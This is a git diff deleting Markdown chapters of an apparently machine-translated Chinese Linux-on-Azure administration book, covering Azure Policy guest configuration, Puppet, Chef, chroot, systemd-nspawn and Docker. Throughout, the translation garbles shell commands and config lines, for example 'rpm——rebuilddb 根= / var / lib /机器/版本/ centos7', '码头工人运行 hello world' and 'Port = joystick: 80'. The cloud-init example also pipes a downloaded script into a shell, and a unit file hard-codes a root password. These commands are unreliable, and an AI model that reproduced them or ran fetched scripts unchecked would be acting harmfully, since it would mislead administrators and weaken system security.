-一些内置策略包括: - -* 允许的位置:使用这个,您可以强制执行地理遵从性。 -* 允许的虚拟机 sku:定义一组虚拟机 sku。 -* 给资源添加标签:给资源添加标签。 如果没有传递值,它将采用默认标记值。 -* 强制标记及其值:用于将必需的标记及其值强制到资源。 -* 不允许资源类型:禁止所选资源的部署。 -* 允许的存储帐户 sku:我们在前一章讨论了存储帐户可用的不同 sku,例如 LRS、GRS、ZRS 和 RA-GRS。 您可以指定允许的 sku,并且拒绝部署其余的 sku。 -* 允许的资源类型:正如我们在示例中提到的,您可以指定在订阅中允许哪些资源。 例如,如果您只想要虚拟机和网络,您可以接受**Microsoft。 计算**和**Microsoft。 网络**资源提供者; 所有其他提供者都被拒绝部署。 - -到目前为止,我们已经讨论了如何使用 Azure Policy 审计 Azure 资源,但它也可以用于审计 VM 内的设置。 Azure Policy 使用客户端配置扩展和客户端来完成这项任务。 扩展和客户机一起确认客户操作系统的配置、应用的存在、它的状态,以及客户操作系统的环境设置。 - -Azure Policy Guest Configuration 只能帮助您审计 Guest VM。 在编写本文时,应用配置不可用。 - -### Linux 客户端配置扩展 - -客户策略配置由客户配置扩展和代理完成。 vm 上的 Guest Configuration 代理通过使用 Linux 的 Guest Configuration 扩展配置。 正如前面所讨论的,它们是相互关联的,允许用户在 VM 上运行来宾策略,从而帮助用户审计 VM 上的策略。 Chef InSpec([https://www.inspec.io/docs/](https://www.inspec.io/docs/))是 Linux 的 guest 策略。 让我们看看如何将扩展部署到 VM,并使用扩展支持的命令。 - -**虚拟机部署** - -为此,您需要一个 Linux VM。 我们将通过执行以下命令将 Guest Configuration 扩展部署到虚拟机: - -az 虚拟机扩展集——resource-group\ - -——vm-name\ - ---name ConfigurationForLinux \ - -出版商——微软。 GuestConfiguration \ - -——版本 1.9.0 - -你会得到一个类似的输出: - -![Deploying the Guest Configuration extension onto the VM](img/B15455_08_22.jpg) - -###### 图 8.22:将来宾配置扩展部署到 VM 上 - -### 命令 - -客户端配置扩展支持**安装**、**卸载**、**启用**、**禁用**和**更新**命令。 执行这些命令; 需要将当前工作目录切换到**/var/lib/waagent/ microsoft . guestconfiguration . configurationforlinux -1.9.0/bin**。 之后,您可以使用**guest-configuration-shim**脚本链接可用的命令。 - -#### 请注意 - -检查文件是否启用了执行位。 否则,请使用**chmod +x guest-configuration-shim**设置执行权限。 - -执行命令的一般语法为:**./guest-configuration-shim<命令名>**。 - -例如,如果您想安装客户机配置扩展,可以使用**install**命令。 当扩展已经安装时,将调用**enable**,它将提取 Agent 包,安装并启用代理。 - -同样,**update**将代理服务更新到新的代理,**disable**禁用代理,最后,**uninstall**将卸载代理。 - -下载 agent 到如下路径:**/var/lib/waagent/Microsoft.GuestConfiguration。 ConfigurationForLinux-/GCAgent/DSC**,以及**agent**输出保存到该目录下的**stdout**和**stderr**文件中。 如果遇到任何问题,请检查这些文件的内容。 试着理解错误,然后排除故障。 - -日志保存在“**/var/log/azure/Microsoft.GuestConfiguration”目录下。 配置 linux**。 您可以使用它们来调试问题。 - -目前,Azure Policy Guest 配置支持的操作系统版本如下: - -![OS versions for Azure Policy Guest Configuration](img/B15455_08_23.jpg) - -###### 图 8.23:Azure Policy Guest 配置支持的操作系统版本 - -Azure Policy 是作为 JSON 清单编写的。 因为写作策略不是本书的一部分; 您可以参考 Microsoft 共享的示例策略([https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/governance/policy/samples/guest-configuration-applications-installed-linux.md](https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/governance/policy/samples/guest-configuration-applications-installed-linux.md))。 此示例用于审计是否在 Linux vm 中安装了特定的应用。 - -如果研究这个示例,您将了解组件是什么,以及如何在上下文中使用这些参数。 - -## 其他解决方案 - -管弦乐市场的另一个大玩家是 Puppet。 直到最近,Puppet 中对 Azure 的支持还非常有限,但这种情况正在迅速改变。 Puppet 模块,**puppetlabs/azure_arm**,仍然处于起步阶段,但是**puppetlabs/azure**提供了你需要的一切。 这两个模块都需要 Azure CLI 才能工作。 在他们的商业 Puppet Enterprise 产品中集成 Azure CLI 的效果非常好。 Azure 有一个 VM 扩展,可用于将成为 Puppet 节点的虚拟机。 - -更多信息请访问[https://puppet.com/products/managed-technology/microsoft-windows-azure](https://puppet.com/products/managed-technology/microsoft-windows-azure)。 - -您还可以使用 Chef 软件,它提供了一个自动化和编排平台,这个平台已经存在很长时间了。 它的开发始于 2009 年! 用户写下“食谱”,描述厨师如何使用刀具等工具管理“厨房”。 在《Chef》中,很多术语都来自厨房。 Chef 与 Azure 集成得非常好,特别是如果你使用 Azure 市场的 Chef 自动化。 还有一个可用的 VM 扩展。 Chef 适用于大型环境,学习曲线相对陡峭,但至少值得一试。 - -更多信息请访问[https://www.chef.io/partners/azure/](https://www.chef.io/partners/azure/)。 - -## 总结 - -本章一开始,我们简要介绍了编制、使用编制的原因以及不同的方法:命令式和声明式。 - -之后,我们介绍了 Ansible、Terraform 和 PowerShell DSC 平台。 其中涉及了以下许多细节: - -* 如何安装平台 -* 在操作系统级别使用资源 -* 与 Azure 的集成 - -Ansible 是迄今为止最完整的解决方案,可能也是学习曲线最平缓的一个。 然而,所有的解决方案都是非常强大的,总有一些方法可以绕过它们的局限性。 对于所有编配平台来说,未来将会有更多的特性和功能。 - -创建 Linux 虚拟机并不是在 Azure 中创建工作负载的唯一方法; 您还可以使用容器虚拟化为您的应用部署平台。 在下一章中,我们将讨论容器技术。 - -## 问题 - -在这一章,让我们跳过一般的问题。 启动一些 vm 并选择您所选择的编排平台。 配置网络安全组允许 HTTP 流量通过。 - -尝试使用 Ansible、Terraform 或 PowerShell DSC 配置以下资源: - -1. 创建一个用户并使其成为组**wheel**(基于 rh 的发行版)或**sudo**(Ubuntu)的成员。 -2. 安装一个 Apache web 服务器,提供来自**/wwwdata**的内容,用 AppArmor (Ubuntu)或 SELinux(基于 rhel 的发行版)保护它,并在这个 web 服务器上提供一个漂亮的**index.html**页面。 -3. 限制 SSH 到您的 IP 地址。 HTTP 端口必须对整个世界开放。 您可以通过提供覆盖文件或 FirewallD 来使用 systemd 方法。 -4. 使用您选择的发行版和版本部署一个新的 VM。 -5. 使用变量创建一个新的**/etc/hosts**文件。 如果你使用 PowerShell DSC,你也需要 PowerShell 来完成这个任务。 对于专家:使用资源组中其他机器的主机名和 IP 地址。 - -## 进一步阅读 - -我们真的希望你喜欢这个编配平台的介绍。 这只是一个简短的介绍,让你好奇,想要了解更多。 本章中提到的所有编配工具的网站都是很好的资源,阅读起来很愉快。 - -需要提及的一些额外资源包括: - -* *Learning PowerShell DSC - Second Edition*by James Pogran。 -* Ansible:我们认为 Russ McKendrick 写的《学习 Ansible,以及同一作者写的关于 Ansible 的其他书,值得表扬。 如果您懒得读这本书,那么您可以先参考 Ansible 文档。 如果你想要一些实践教程,你可以使用这个 GitHub 库:[https://github.com/leucos/ansible-tuto](https://github.com/leucos/ansible-tuto)。 -* Terraform:**Terraform on Microsoft Azure - Part 1: Introduction**是由微软高级软件工程师 Julien Corioland 撰写的系列博客。 这个博客包含了一系列在 Azure 上讨论 Terraform 的主题。 这本书值得一读,也值得一试。 此博客可在[https://blog.jcorioland.io/archives/2019/09/04/terraform-microsoft-azure-introduction.html](https://blog.jcorioland.io/archives/2019/09/04/terraform-microsoft-azure-introduction.html)查阅。 -* *掌握厨师*Mayank Joshi -* *学习木偶*by Jussi Heinonen \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/09.md b/docs/handson-linux-admin-azure/09.md deleted file mode 100644 index d2ea6902..00000000 --- a/docs/handson-linux-admin-azure/09.md +++ /dev/null @@ -1,1194 +0,0 @@ -# 九、Azure 中的容器虚拟化 - -在*第 2 章*,*入门 Azure 云*中,我们从在 Azure 中创建第一个工作负载开始我们的 Azure 之旅:部署 Linux 虚拟机。 之后,我们介绍了 Linux 操作系统的许多方面。 - -在*第七章*,*部署虚拟机*,我们探索了几个选项部署 vm,*第八章*,*探索连续自动化配置*,都是关于该做什么之后使用编排的配置管理工具。 - -编配是 DevOps 运动中日益增长的一部分。 DevOps 是关于打破组织中的传统竖井。 参与开发、测试和部署产品的不同团队必须进行沟通并一起工作。 DevOps 是文化哲学、实践和工具的组合。 DevOps 是一种使部署变得增量的、频繁的和例行的事件,同时限制失败影响的方法。 - -vm 不是部署工作负载的唯一方式:您还可以在容器中部署工作负载。 它与编排一起,使满足 DevOps 需求成为可能。 - -因此,在我们真正学习和实现 Azure 中的容器之前,让我们快速地看一看本章要提供的内容。 在本章结束时,你将: - -* 了解集装箱的历史,了解集装箱化的早期应用。 -* 熟悉**systemd-nspawn**、Docker 等容器工具。 -* 能够使用 Docker Machine 和 Docker Compose。 -* 能够使用 Azure 容器实例和 Azure 容器注册表。 -* 了解新一代容器工具,如 Buildah、Podman 和 Skopeo。 - -现在,我们将首先了解容器是什么以及它是如何演变的。 - -## 集装箱技术导论 - -在*第一章*、*探索蓝天*中,我们对容器做了简短的介绍。 所以,让我们继续深入讨论容器的细节。 我们知道 VM 运行在 hypervisor 上,对于每种目的,在大多数情况下,您都必须创建一个单独的 VM 来隔离环境。 vm 将有一个来宾操作系统,比如 Linux,我们将在其之上安装所需的软件。 在某些场景中,您必须部署大量 vm 进行测试。 如果您正在使用运行 Hyper-V 的本地基础设施,那么您必须考虑资源利用率—即,每个 VM 将使用多少内存、CPU 等等。 如果在 Azure 中部署,还必须考虑成本。 您可能只需要一些 vm 进行几个小时的测试,但是这些 vm 占用的空间很大; 它们是虚拟运行的完整计算机。 另一个问题是兼容性问题。 让我们假设您有一个应用需要一个依赖包,比如 Python 2.2。 现在想想在同一个 VM 中运行的另一个应用,它与 Python 2.2 存在兼容性问题,并且只能与 Python 2.1 一起工作。 您最终会为使用 Python 2.1 的第二个应用创建一个新的 VM。 为了克服这一点,容器被引入。 下面是容器与虚拟机区别的图示: - -![Pictorial representation of VMs differs from Containers](img/B15455_09_01.jpg) - -###### 图 9.1:虚拟机和容器的表示 - -与 vm 一样,容器允许您将应用以及所有依赖项和库打包。 它们是像 vm 一样的隔离环境,可以用于测试和运行应用,而不需要创建多个 vm。 容器也是轻量级的。 - -容器不是像虚拟机那样虚拟化每个硬件组件,而是在操作系统级别虚拟化。 这意味着容器的占用空间比 vm 小。 例如,一个 Ubuntu ISO 镜像的大小接近 2.4 GB; 另一方面,Ubuntu 容器映像小于 200mb。让我们考虑前面的例子,在这个例子中,我们遇到 Python 2.2 的依赖问题,最终创建了两个 vm。 使用容器,我们可以拥有两个容器,其占用空间比两个 vm 要小得多。 同时,主机操作系统的成本和资源利用率远低于 2 台虚拟机。 容器使用容器运行时进行部署; 有不同的运行时可用。 在本章中,我们将看一看流行的容器运行时。 - -容器不是圣杯。 它不能解决你所有的问题。 然而,你可以考虑以下场景,如果他们中的任何一个符合你的需求,你可能想要容器你的应用: - -* 在业务需求的驱动下,应用经常需要更新新特性,最好是不停机。 -* 系统工程师和开发人员可以一起工作来解决业务需求,并且对彼此的领域有足够的理解和知识(不需要成为这两个领域的专家),并且拥有持续试验和学习的文化。 -* 为了使应用更好,存在失败的空间。 -* 应用不是单点故障。 -* 就可用性和安全性而言,该应用不是一个关键应用。 - -还有一件小事:如果您有许多不同类型的应用,并且这些应用之间几乎没有共享代码,那么容器技术仍然是一种选择,但在这种情况下,vm 可能是更好的解决方案。 - -我们将介绍一点容器技术的历史,让您更好地理解它的来源。 今天我们将探讨一些可用的解决方案:systemd-nspawn 和 Docker。 现在有更多的容器虚拟化实现可用,甚至包括一些最早的实现,如 LXC。 实际上,使用哪种容器化工具并不重要:如果您理解容器背后的思想和概念,就很容易用其他工具实现相同的思想和概念。 唯一改变的是命令; 所有这些工具的基本概念都是相同的。 - -### 容器历史 - -现在集装箱很流行。 但它们并不新鲜; 他们不是凭空而来的 要指出他们开始的确切时间并不容易。 我们并不想给您上一堂历史课,但是历史可以让您了解技术,甚至可以告诉您为什么或何时应该在组织中使用容器。 - -因此,我们将不关注确切的时间轴,而只讨论重要的步骤:如果您想了解当前的容器技术,那么这些技术的实现是很重要的。 - -### **chroot 环境** - -在 Linux 中,有一根文件系统,覆盖着*第五章*,*高级 Linux 管理*,所有的安装文件系统,将可见当前运行的进程和他们的孩子。 - -在**chroot**中运行的进程有自己的根文件系统,与系统范围的根完全分开,称为**chroot 监狱**。 在 chroot 监狱中是一个名为**fs 的文件系统。 chroot**。 它经常用于开发中,因为在**chroot**中运行的程序不能访问其根文件系统之外的文件或命令。 要从一个目录启动 chroot 监狱,执行以下操作: - -chroot / - -1979 年,Unix 版本 7 引入了**chroot**系统调用,1982 年,BSD Unix 引入了系统调用。 Linux 从它存在的早期就实现了这种系统调用。 - -### **OpenVZ** - -2005 年,几乎就在 Solaris 开始其容器技术的同时,一家名为 Virtuozzo 的公司启动了 OpenVZ 项目。 - -他们采用了 chroot 环境的原则,并将其应用于其他资源。 chroot 进程会有以下内容: - -* 根文件系统 -* 用户和组 -* 设备 -* 一个进程树 -* 一个网络 -* 进程间通信对象 - -当时,OpenVZ 被视为基于管理程序的虚拟化的轻量级替代方案,同时也是开发人员的坚实平台。 它仍然存在,您可以在每个 Linux 操作系统上使用它,无论是否在云中运行。 - -使用 OpenVZ 类似于使用 VM:您使用您喜欢的发行版的基础安装创建一个映像,如果您愿意,然后您可以使用编排来安装应用并维护所有内容。 - -### **LXC** - -2006 年,工程师谷歌开始着手一个特性在 Linux 内核中叫做**并且**(**对照组)启用资源控制资源,如 CPU、内存、磁盘 I / O 和网络收藏的过程(资源组)。** - - **Linux 内核的一个相关特性是**名称空间隔离**的概念:可以隔离资源组,这样它们就看不到其他组中的资源。 因此,**cgroups**成为一个名称空间。 - -在 2008 年,**cgroups**被合并到 Linux 内核中,并且引入了一个新的命名空间**用户**命名空间。 这两种技术都为容器的发展迈出了新的一步:LXC。 - -其他可用的命名空间有:**pid**、**mount**、**network**、**uts**(自己的域名)、**ipc**。 - -不再需要跟上 Linux 内核开发的步伐:所需的每个组件都是可用的,并且有更好的资源管理。 - -最近,Canonical 开发了一种新的容器管理器 LXD,它的后端有 LXC,旨在为管理容器提供改进的用户体验。 从技术上讲,LXD 通过 liblxc 和它的 Go 绑定来实现这一目标。 这里列出了 LXD 的一些优点: - -* 安全 -* 高度可伸缩 -* 简化了资源共享 - -## 系统生成 - -Systemd 提供了一个容器解决方案。 它开始是一个实验,然后 Lennart Poettering 认为它可以生产了。 事实上,它是另一个解 Rkt 的基。 在写这本书的时候,Rkt 的发展已经停止了。 但是,您仍然可以访问 Rkt GitHub 存储库([https://github.com/rkt/rkt](https://github.com/rkt/rkt))。 - -systemd-nspawn 不是很有名,但是它是一个强大的解决方案,在每个现代 Linux 系统上都可以使用。 它构建在内核名称空间和 systemd 之上,用于管理。 这是一种注射了类固醇的 chroot。 - -如果您想了解更多关于容器的底层技术,system -nspawn 是一个很好的开始。 在这里,每个组件都是可见的,如果您愿意,可以手动配置。 systemd-nspawn 的缺点是,您必须自己完成所有工作,从创建映像、到编排、到高可用性:这都是可能的,但您必须构建它。 - -也可以创建容器使用包管理器,如**百胜和云通过提取原始图像(几个发行版提供这些图片,比如[https://cloud-images.ubuntu.com/ https://cloud.centos.org/centos/7/images](https://cloud.centos.org/centos/7/images)和)。 你甚至可以使用 Docker 图像!** - - **如上所述,有多种方法可以创建容器。 作为示例,我们将介绍其中的两个:**启动**和**yum**。 - -### 创建一个带启动的容器 - -**debootstrap**工具可以将安装一个基于 Debian 或 ubuntu 的系统到另一个已安装系统的子目录中。 它可以在 SUSE、Debian 和 Ubuntu 的存储库中使用; 在 CentOS 或其他基于 Red hat 的发行版上,您需要从**Enterprise Linux Extra Packages**(**EPEL**)存储库中提取它。 - -作为一个例子,让我们在 CentOS 机器上引导 Debian 来为我们的 systemd 容器创建一个模板。 - -出于本章的目的,如果你在 CentOS 上运行,你必须更改 systemd-nspawn 的安全标签: - --t virtd_lxc_exec_t /usr/bin/systemd-nspawn - -restorecon - v /usr/bin/systemd-nspawn - -首先,安装 debootstrap: - -Sudo yum 安装 epel-release - -Sudo yum install debootstrap - -创建一个子目录: - -mkdir -p /var/lib/machines/releases/stretch - -sudo - s - -cd /var/lib/machines/releases - -举个例子,bootstrap 来自美国的 Debian: - -Debootstrap -arch amd64 stretch stretch \ - -http://ftp.us.debian.org/debian - -### 创建 yum 容器 - -在每个存储库中都可以使用**yum**实用程序,可以使用创建基于 Red hat 的发行版的容器。 - -让我们通过步骤来创建一个 CentOS 7 容器: - -1. Create a directory in which we're going to install CentOS, and that will be used for our template: - - mkdir -p /var/lib/machines/releases/centos7 - - sudo - s - - cd /var/lib/machines/releases/centos7 - - 首先,您必须在[http://mirror.centos.org/centos-7/7/os/x86_64/Packages/](http://mirror.centos.org/centos-7/7/os/x86_64/Packages/)下载**centos-release rpm**包。 - -2. Initialize the **rpm** database and install this package: - - rpm——rebuilddb 根= / var / lib /机器/版本/ centos7 - - rpm——根= / var / lib /机器/版本/ centos7 \ - -   -ivh --nodeps centos-release*rpm - -3. Now you are ready to install at least the bare minimum: - - 百胜,installroot = / var / lib /机器/版本/ centos7 \ - - 组安装“最小安装” - -安装包之后,一个完整的根文件系统就可用了,它提供了引导容器所需的所有东西。 你也可以使用这个根文件系统作为模板; 在这种情况下,您需要修改模板以确保每个容器都是唯一的。 - -### system -firstboot - -如果您第一次启动容器,那么 systemd-firstboot 是配置一些东西的好方法。 您可以配置以下参数: - -* 系统区域设置(**——locale=**) -* 系统键盘映射(**——keymap=**) -* 系统时区(**—timezone=**) -* 系统主机名(——hostname=) -* 系统的机器 ID(**——Machine - ID =**) -* Root 用户的密码(**——Root -password=**) - -您还可以使用**-prompt**参数在第一次引导时询问这些参数。 - -在下面的示例中,我们将修改 systemd-firstboot 单元,以传递一个配置,该配置将在容器第一次运行时执行。 - -在容器目录下执行**chroot**。 让我们以我们的 CentOS 映像为例: - -chroot /var/lib/containers/releases/centos7 - -passwd 根 - -点燃图像: - -systemd-nspawn——boot -D centos7 - -打开 systemd-firstboot 单元**/usr/lib/systemd/system/systemd-firstboot。 服务**,并对其进行修改: - -(单位) - -描述=第一启动向导 - -Documentation=man:systemd-firstboot(1) - -DefaultDependencies=no - -冲突= shutdown.target - -= systemd-readahead-collect 之后。 服务 systemd-readahead-replay。 服务 systemd-remount-fs.service - -= systemd-sysusers 之前。 sysinit 服务。 目标 shutdown.target - -ConditionPathIsReadWrite = /等 - -ConditionFirstBoot = yes - -(服务) - -Type=oneshot - -RemainAfterExit = yes - -ExecStart=/usr/bin/system -firstboot—locale=en_US-utf8—root-password=welk0mITG! ——时区= Europe /阿姆斯特丹 - -StandardOutput = tty - -StandardInput=tty - -StandardError = tty - -启用服务: - -systemctl 启用 systemd-firstboot - -清除设置: - -rm /etc/\ - -{machine-id、作用、主机名、阴影、locale.conf securetty} - -使用*Ctrl*+*D*退出 chroot 环境。 - -### 部署第一个容器 - -如果您正在使用 BTRFS 文件系统模板目录作为子卷,您可以使用 systemd-nspawn 的**——template**参数。 否则,它将创建一个新的子卷: - -cd /var/lib/machines/releases - -Cp -rf centos7/ /var/lib/machines/centos01 - -是时候启动我们的第一个容器了: - -systemd-nspawn——boot -D centos01 - -尝试登录并按*Ctrl*+*]]*杀死它。 - -从现在开始,您可以使用**machinectl**命令管理容器: - -机器启动 - -以以下方式登录: - -机器登录 - -**机器**还有许多其他的参数值得研究! 如果收到拒绝权限的消息,请考虑 SELinux 故障排除! 另外,**journalctl**有一个**-M**参数来查看容器内的日志记录,或者使用以下方法: - -日志 ctl _PID=-a - -如果你在容器中执行**hostnamectl**,你会看到类似如下的结果: - -![Detailed output of the hostnamectl command](img/B15455_09_02.jpg) - -###### 图 9.2:hostnamectl 命令的输出 - -内核是其中的一个主机! - -### 启动时启用容器 - -要使一个容器在引导时可用,请启用目标**机器。 目标**: - -Sudo systemctl 启用 machines.target - -现在为我们的容器创建一个**nspawn**文件:**/etc/systemd/nspawn/centos01\. nspawn** 文件名必须与容器相同: - -(执行) - -PrivateUsers=pick - -(网络) - -区内=网页 - -Port = joystick: 80 - -(文件) - -PrivateUsersChown=yes - -**【Network】**也设置了从容器中 TCP 端口**80**到主机端口**80**的端口转发。 您必须在容器中的网络接口和子网中的虚拟以太网接口上的主机上配置一个 IP 地址,才能使其工作。 - -现在启用虚拟机: - -Sudo machinecl 启用 centos01 - -现在,您已经知道如何使用 systemd-nspawn 并部署您的容器,让我们继续讨论最流行的容器化工具:Docker。 您可能听说过很多 Docker,所以让我们开始吧! - -## Docker - -2010 年 3 月,Solomon Hykes 开始开发 Docker。 它开始于法国作为一个内部的 dotCloud。 多亏了 2013 年大型 Python 会议上的公开发布,以及 Red Hat 的兴趣,Docker 真正起飞了。 同年最后一个季度,公司更名为 Docker Inc。 - -Docker 最初是建立在 LXC 之上的,但一段时间后,LXC 被他们自己的**libcontainer**库所取代。 - -Docker 的架构非常复杂:它由一个客户端、Docker 和一个守护进程**dockerd**组成。 另一个守护进程,容器**,是用于操作系统和正在使用的容器技术类型的抽象层。 您可以使用**docker- container -ctr**实用程序与**containerd**交互。 **容器**守护进程负责以下工作:** - - *** 注册表(可以在其中存储映像) -* 映像(构建、元数据等等) -* 网络 -* 卷(用于存储持久数据) -* 签名(内容信任) - -**containerd**与 RunC 通信,它负责以下工作: - -* 生命周期管理 -* 运行时信息 -* 在容器内运行命令 -* 生成规范(图像 ID、标记等等) - -Docker 有两个版本:-**Docker 社区版**(**CE**)和**Docker 企业版**(**EE**)。 Docker EE 于 2019 年 11 月被 Docker 公司出售给 Mirantis; 然而,Docker CE 仍然由 Docker 公司处理。 Docker EE 增加了对 Docker 的支持,同时也提供了一个集成的安全框架,认证插件,对 Docker Swarm 的支持(这是一个像 Kubernetes 一样的容器编排解决方案),以及对 RBAC/AD/LDAP 的支持。 不过,这一切都是有代价的。 如果您觉得您的环境需要这些额外的优势,那么它是值得花钱的。 另一方面,Docker CE 是免费的开源软件。 - -### Docker 安装 - -在 Azure 中有多种方式安装和使用 Docker CE。 您可以安装您选择的 Linux 发行版,并在其上安装 Docker。 在 Azure 市场中有几个 vm 可用,比如 RancherOS,这是一个非常小的 Linux 发行版,专门为运行 Docker 而创建。 最后但并非最不重要的是 Docker for Azure 模板,它是由 Docker 在[https://docs.docker.com/docker-for-azure](https://docs.docker.com/docker-for-azure)和[https://docs.docker.com/docker-for-azure](https://docs.docker.com/docker-for-azure)提供的。 - -为了本章的目的,在 Ubuntu Server VM 上使用 Docker 绝对不是一个坏主意; 这节省了很多工作! 但有几个原因不使用这个 VM: - -* 如果你自己配置一切,真的可以帮助你更好地理解事情。 -* 使用的软件相对较旧。 -* 用于创建虚拟机的 Docker VM 扩展已被弃用,不再处于积极的开发中。 - -Docker for Azure 模板还安装和配置 Docker Swarm,这是一个 Docker 本地集群系统。 - -Docker 网站提供了关于如何手动安装 Docker 的优秀文档。 **如果你想安装使用 apt**或**百胜**没有脚本后,您可以按照官方的码头工人文档([https://docs.docker.com/v17.09/engine/installation/ #支持的平台上)。 如果按照此步骤操作,则可以跳过**cloud-init**脚本。](https://docs.docker.com/v17.09/engine/installation/#supported-platforms) - -在这里,我们将通过脚本跟踪安装过程。 请注意,这个脚本适用于实验室环境,但不适用于生产环境。 - -它从 Edge 通道安装最新版本的 Docker,而不是从 Stable 通道安装。 理论上,这可能有点不稳定。 - -然而,出于本章的目的,这是一个很好的开始方式。 为了快速地启动和运行,让我们使用我们在*第 7 章,部署虚拟机*中学到的云初始化技术。 - -首先创建一个新的资源组,例如**Docker_LOA**: - -az 组 create——name Docker_LOA——location westus - -创建一个 cloud-init 配置文件; 在我的示例中,文件名为**docker。 yml**包含以下内容: - -# cloud-config - -package_upgrade:真 - -write_files: - --内容:| - -(服务) - -ExecStart = - -ExecStart = / usr / bin / dockerd - -路径:/etc/systemd/system/docker.service.d / docker.conf - --内容:| - -    { - -“主机”:[“fd: / /”,“tcp: / / 127.0.0.1:2375”) - -    } - -路径:/etc/docker/daemon.json - -runcmd: - -- curl - ssl https://get.docker.com/ | sh . sh - -- usermod -aG docker - -不要忘记将****替换为您在执行**az**命令时使用的登录帐户的名称。 - -您可能已经注意到,我们在脚本中添加了两次**ExecStart**。 ExecStart 允许您指定在启动单元时需要运行哪些命令。 通过设置**ExecStart=**然后在第二行中指定实际的命令来清除它是一种很好的做法。 原因是当安装 Docker 的时候,它一开始会有一个**ExecStart**的值,当我们提供另一个值的时候,会导致冲突。 此冲突将阻止服务启动。 让我们使用我们创建的 cloud-init 文件创建一个安装 Docker 的虚拟机: - -1. Create a VM with the distribution of your choice: - - az vm create——name UbuntuDocker——resource-group Docker_LOA \ .使用实例 - - ——image ubuntuults——generate-ssh-keys——admin-username\ - - ——定义数据 docker.yml - -2. When the VM is ready, log in and execute the following: - - systemctl status docker.service - - #### 请注意 - - 如果你得到一个消息说“**警告:docker。 服务更改在磁盘上,执行 systemctl daemon-reload 重新加载 docker。 服务**,“耐心点,云初始化仍然很忙。 另外,如果你看到**docker。 没有找到服务**,给 cloud-init 一些时间来完成安装。 您可以通过执行**dpkg -l | grep Docker**来验证 Docker CE 是否已经安装。 - -3. Execute the following to receive even more information about the Docker daemon: - - 码头工人信息 - -4. It's time to download our first container and run it: - - 码头工人运行 hello world - -在下面的截图中,您可以看到容器已经成功运行,并且您收到了来自 Docker 的**Hello !** 信息: - -![Successful execution of the container using docker run hello-world command](img/B15455_09_03.jpg) - -###### 图 9.3:容器执行成功 - -Docker 容器是一个执行映像。 要列出系统上可用的映像,请执行以下操作: - -码头工人形象 ls - -在前面的示例中,我们运行了**docker 运行 hello-world**。 因此,图像已经被拉入,你可以看到当我们使用**docker image ls**命令时,**hello-world**图像被列出: - -![Listing the hello-world image by using the docker image ls command](img/B15455_09_04.jpg) - -###### 图 9.4:列出 Docker 映像 - -如果您再次执行**docker 运行 hello-world**,这一次将不会下载映像。 相反,它将查找在上次运行期间已经存储或下载的映像。 - -让我们下载另一张图片: - -码头工人运行 ubuntu - -在那之后,我们将列出所有的容器,甚至是那些没有运行的: - -码头工人 ps - - -所有集装箱都处于**退出**状态。 如果要保持容器运行,必须将**-dt**参数添加到 run 命令中; **-d**表示以分离的方式运行: - -Docker 运行-dt ubuntu bash - -如果你想要一个交互式 shell 到 Ubuntu 容器(当你 SSH 到一个虚拟机),你可以添加**-i**参数: - -docker 运行- ubuntu - -通过再次查看进程列表来验证它是否正在运行: - -码头工人 ps - -使用容器 ID 或名称,您可以在容器中执行命令,并在终端中接收标准输出: - -docker exec - -例如,您可以执行以下命令查看容器镜像的 OS 版本: - -docker execcat /etc/os-release - -附在容器上,以验证内容是否符合预期: - -docker attach - -和分离使用*Ctrl*+*P*和*Ctrl +*问*,这意味着你将退出交互式 shell,容器将开始在后台运行。* - -综上所述,如果您一直按照本文进行操作,那么到现在,您将能够运行容器,以独立的方式运行它们,从主机上执行到容器的命令,还能够获得到容器的交互式 shell。 到目前为止,我们使用的是 Docker Hub 中已有的图像。 在下一节中,我们将学习如何使用基本映像的自定义配置构建我们自己的 Docker 映像。 - -### 构建 Docker 映像 - -Docker 映像包含多个层。 对于您为向容器添加组件而运行的每个命令,都会添加一个层。 每个容器都是一个映像,其中包含只读层和一个可写层。 第一层是引导文件系统,第二层称为基本层; 它包含操作系统。 你可以从 Docker 注册表中提取镜像(稍后你会发现更多关于注册表的信息)或者自己构建镜像。 - -如果你想自己构建一个,你可以用类似于我们前面看到的方法来做,比如使用 systemd-nspawn 容器,使用 debootstrap。 大多数命令需要 root 用户访问,所以按如下方式升级您的权限: - -sudo -我 - -让我们以 Debian 为基本映像。 这将帮助您理解**docker import**命令。 下载并解压 Debian Stretch: - -Debootstrap -arch amd64 stretch stretch \ - -http://ftp.us.debian.org/debian - -创建一个 tarball 并直接导入 Docker: - -拉伸;拉伸; | docker 进口拉伸 - -使用以下命令验证它: - -码头工人的图片 - -Docker 还提供了一个非常小的基本图像**scratch**。 - -Docker 映像是由 Dockerfile 构建的。 让我们创建一个工作目录来保存 Dockerfile: - -Mkdir ~/my-image && CD ~/my-image - -由于**拉伸**图像已经在 Docker Hub 中可用,所以最好给你的图像加上一个新名称,这样 Docker 就不会试图拉出该图像,而是选择本地图像。 要标记图像,使用以下命令: - -Docker 标签扩展:最新的 apache_custom:v1 - -然后,通过执行**vi Dockerfile**来创建 Dockerfile(您可以使用任何文本编辑器)。 在这个文件的第一行将基本图像添加为一个图层: - -从 apache_custom: v1 - -第二层包含 Debian 更新: - -运行 apt-get——yes update - -第三层包含 Apache 安装: - -运行 apt-get——yes 安装 apache2 - -添加最新的层,并在这个读/写层中运行 Apache。 **CMD**用于指定执行容器的默认值: - -CMD /usr/sbin/apachectl -e info - d 前台 - -打开端口**80**: - -80 年公开 - -保存文件,您的文件条目将如下截图所示。 添加注释是一种很好的做法; 然而,它是可选的: - -![Docker image creation using cat Dockerfile](img/B15455_09_05.jpg) - -###### 图 9.5:创建 Docker 映像 - -构建容器: - -Docker build -t apache_image。 - -如果一切顺利,输出应该如下所示: - -![Output representing successfully built Docker image](img/B15455_09_06.jpg) - -###### 图 9.6:Docker 映像构建成功 - -你可以测试这个容器: - -Docker 运行-d apache_image - -回顾构建的历史: - -docker 历史 - -如下面的截图所示,你将能够看到你的容器的构建历史: - -![Detailed output displaying the history of the built container ](img/B15455_09_07.jpg) - -###### 图 9.7:回顾集装箱建造的历史 - -执行**docker ps**获取容器的 ID,并使用该 ID 收集容器的信息: - -docker inspect| grep IPAddress - -在输出中,可以找到容器的 IP 地址: - -![Output of the IP address of the container](img/B15455_09_08.jpg) - -###### 图 9.8:获取 Docker 的 IP 地址 - -使用**curl**查看 web 服务器是否正在运行: - -旋度 - -你可以在 HTML 中看到著名的“It works”页面,如下所示: - -![Testing the web server using curl command](img/B15455_09_09.jpg) - -###### 图 